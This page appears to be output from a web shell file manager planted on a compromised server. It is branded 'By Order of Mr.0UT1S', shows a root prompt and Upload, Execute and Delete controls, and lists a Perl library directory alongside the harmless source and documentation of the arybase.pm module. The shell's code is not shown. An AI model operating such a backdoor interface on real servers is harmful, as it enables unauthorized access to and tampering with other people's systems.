lib64
/
perl5
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] B
N/A
[DIR] CORE
N/A
[DIR] Devel
N/A
[DIR] File
N/A
[DIR] Hash
N/A
[DIR] I18N
N/A
[DIR] IO
N/A
[DIR] IPC
N/A
[DIR] PerlIO
N/A
[DIR] Sys
N/A
[DIR] Tie
N/A
[DIR] Time
N/A
[DIR] asm
N/A
[DIR] asm-generic
N/A
[DIR] auto
N/A
[DIR] bits
N/A
[DIR] gnu
N/A
[DIR] linux
N/A
[DIR] machine
N/A
[DIR] sys
N/A
[DIR] vendor_perl
N/A
B.pm
30.72 KB
Rename
Delete
Config.pm
3.12 KB
Rename
Delete
Config.pod
250.68 KB
Rename
Delete
Config_git.pl
409 bytes
Rename
Delete
Config_heavy.pl
55.26 KB
Rename
Delete
DynaLoader.pm
24.63 KB
Rename
Delete
Errno.pm
6.70 KB
Rename
Delete
Fcntl.pm
3.95 KB
Rename
Delete
GDBM_File.pm
1.51 KB
Rename
Delete
IO.pm
1.42 KB
Rename
Delete
NDBM_File.pm
2.44 KB
Rename
Delete
O.pm
4.11 KB
Rename
Delete
ODBM_File.pm
2.33 KB
Rename
Delete
Opcode.pm
15.52 KB
Rename
Delete
POSIX.pm
19.72 KB
Rename
Delete
POSIX.pod
71.98 KB
Rename
Delete
SDBM_File.pm
3.46 KB
Rename
Delete
_h2ph_pre.ph
28.57 KB
Rename
Delete
arybase.pm
2.75 KB
Rename
Delete
attributes.pm
16.53 KB
Rename
Delete
endian.ph
4.36 KB
Rename
Delete
features.ph
13.37 KB
Rename
Delete
lib.pm
5.87 KB
Rename
Delete
mro.pm
9.86 KB
Rename
Delete
ops.pm
997 bytes
Rename
Delete
perllocal.pod
10.70 KB
Rename
Delete
re.pm
22.16 KB
Rename
Delete
signal.ph
3.30 KB
Rename
Delete
stdarg.ph
2.80 KB
Rename
Delete
stdc-predef.ph
840 bytes
Rename
Delete
stddef.ph
12.08 KB
Rename
Delete
syscall.ph
86 bytes
Rename
Delete
syslimits.ph
452 bytes
Rename
Delete
syslog.ph
85 bytes
Rename
Delete
wait.ph
83 bytes
Rename
Delete
package arybase; our $VERSION = "0.12"; require XSLoader; XSLoader::load(); # This returns true, which makes require happy. __END__ =head1 NAME arybase - Set indexing base via $[ =head1 SYNOPSIS $[ = 1; @a = qw(Sun Mon Tue Wed Thu Fri Sat); print $a[3], "\n"; # prints Tue =head1 DESCRIPTION This module implements Perl's C<$[> variable. You should not use it directly. Assigning to C<$[> has the I<compile-time> effect of making the assigned value, converted to an integer, the index of the first element in an array and the first character in a substring, within the enclosing lexical scope. It can be written with or without C<local>: $[ = 1; local $[ = 1; It only works if the assignment can be detected at compile time and the value assigned is constant. It affects the following operations: $array[$element] @array[@slice] $#array (list())[$slice] splice @array, $index, ... each @array keys @array index $string, $substring # return value is affected pos $string substr $string, $offset, ... As with the default base of 0, negative bases count from the end of the array or string, starting with -1. If C<$[> is a positive integer, indices from C<$[-1> to 0 also count from the end. If C<$[> is negative (why would you do that, though?), indices from C<$[> to 0 count from the beginning of the string, but indices below C<$[> count from the end of the string as though the base were 0. Prior to Perl 5.16, indices from 0 to C<$[-1> inclusive, for positive values of C<$[>, behaved differently for different operations; negative indices equal to or greater than a negative C<$[> likewise behaved inconsistently. =head1 HISTORY Before Perl 5, C<$[> was a global variable that affected all array indices and string offsets. Starting with Perl 5, it became a file-scoped compile-time directive, which could be made lexically-scoped with C<local>. "File-scoped" means that the C<$[> assignment could leak out of the block in which occurred: { $[ = 1; # ... array base is 1 here ... } # ... still 1, but not in other files ... In Perl 5.10, it became strictly lexical. The file-scoped behaviour was removed (perhaps inadvertently, but what's done is done). In Perl 5.16, the implementation was moved into this module, and out of the Perl core. The erratic behaviour that occurred with indices between -1 and C<$[> was made consistent between operations, and, for negative bases, indices from C<$[> to -1 inclusive were made consistent between operations. =head1 BUGS Error messages that mention array indices use the 0-based index. C<keys $arrayref> and C<each $arrayref> do not respect the current value of C<$[>. =head1 SEE ALSO L<perlvar/"$[">, L<Array::Base> and L<String::Base>. =cut
Save